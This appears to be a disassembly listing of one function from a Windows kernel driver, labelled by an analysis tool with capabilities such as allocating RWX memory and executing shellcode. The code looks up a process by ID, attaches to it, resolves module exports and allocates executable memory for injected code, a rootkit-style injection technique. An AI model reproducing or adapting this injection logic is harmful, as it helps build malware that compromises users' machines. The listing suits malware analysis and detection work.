Function at 0x17444
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x1a0
xor eax, eax
lea rcx, [r11 - 0x124]
xor esi, esi
xor edx, edx
mov r8d, 0x118
mov qword [r11 + 0x10], 0x1000
mov word [rsp + 0x30], si
mov qword [rsp + 0x32], rax
mov dword [rsp + 0x3a], eax
mov word [rsp + 0x3e], ax
mov dword [rsp + 0x80], 0x11c
call fcn.0001dc60
lea rdx, [0x0001e560]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
cmp rax, rsi
je 0x174c3
lea rcx, [rsp + 0x80]
call rax
jmp 0x174e4
lea r8, [rsp + 0x8c]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x84]
xor r9d, r9d
call qword [sym.imp.ntoskrnl.exe_PsGetVersion]
mov eax, 5
cmp dword [rsp + 0x84], eax
jne 0x17526
mov ecx, dword [rsp + 0x88]
cmp ecx, esi
jne 0x17504
mov eax, 1
jmp 0x1753b
mov eax, 2
cmp ecx, 1
je 0x1753b
cmp ecx, eax
jne 0x17539
movzx eax, word [rsp + 0x194]
neg ax
sbb eax, eax
neg eax
add eax, 3
jmp 0x1753b
cmp dword [rsp + 0x84], 6
jne 0x17539
cmp dword [rsp + 0x88], esi
je 0x1753b
mov eax, esi
lea rdx, [rsp + 0x1b0]
lea rcx, [0x0001e5a0]
mov dword [0x00032510], eax
mov qword [0x00022008], rsi
call fcn.000169c4
mov rbx, rax
cmp rax, rsi
je 0x17701
mov rcx, qword [rsp + 0x1b0]
lea rdx, [0x00022008]
mov rcx, qword [rcx + 0x50]
call sub.ntoskrnl.exe_PsLookupProcessByProcessId
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rcx, qword [0x00022008]
cmp rcx, rsi
je 0x17701
call sub.ntoskrnl.exe_KeAttachProcess
lea r8, [rsp + 0x50]
mov r9d, 0x30
xor edx, edx
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationProcess]
lea rdx, [0x0001e5c0]
lea rcx, [rsp + 0x40]
cmp eax, esi
mov rdi, rsi
cmovge rdi, qword [rsp + 0x58]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov rax, qword [rdi + 0x18]
add rax, 0x20
mov rbx, qword [rax]
jmp 0x17607
lea rcx, [rbx + 0x48]
lea rdx, [rsp + 0x40]
mov r8b, 1
call qword [sym.imp.ntoskrnl.exe_RtlCompareUnicodeString]
cmp eax, esi
je 0x17611
mov rax, qword [rdi + 0x18]
mov rbx, qword [rbx]
add rax, 0x20
cmp rbx, rax
jne 0x175e6
jmp 0x176b2
mov rcx, qword [rbx + 0x20]
lea rdx, [0x0001e5e0]
call fcn.00016a8c
mov rcx, qword [rbx + 0x20]
lea rdx, [0x0001e5f0]
mov qword [0x00021fd0], rax
call fcn.00016a8c
mov rcx, qword [rbx + 0x20]
lea rdx, [0x0001e600]
mov qword [0x00021ff0], rax
call fcn.00016a8c
mov rcx, qword [rbx + 0x20]
lea rdx, [0x0001e610]
mov qword [0x00021fd8], rax
call fcn.00016a8c
mov rcx, qword [rbx + 0x20]
lea rdx, [0x0001e630]
mov qword [0x00021fe0], rax
call fcn.00016a8c
mov rcx, qword [rbx + 0x20]
lea rdx, [0x0001e640]
mov qword [0x00021fe8], rax
call fcn.00016a8c
mov rcx, qword [rbx + 0x20]
lea rdx, [0x0001e650]
mov qword [0x00021ff8], rax
call fcn.00016a8c
mov qword [0x00022000], rax
lea r9, [rsp + 0x1b8]
lea rdx, [0x00022010]
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
cmp eax, esi
jl 0x176fc
mov rcx, qword [0x00022010]
cmp rcx, rsi
je 0x176fc
call fcn.00017124
call sub.ntoskrnl.exe_KeDetachProcess
xor eax, eax
jmp 0x17704
call sub.ntoskrnl.exe_KeDetachProcess
or eax, 0xffffffff
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret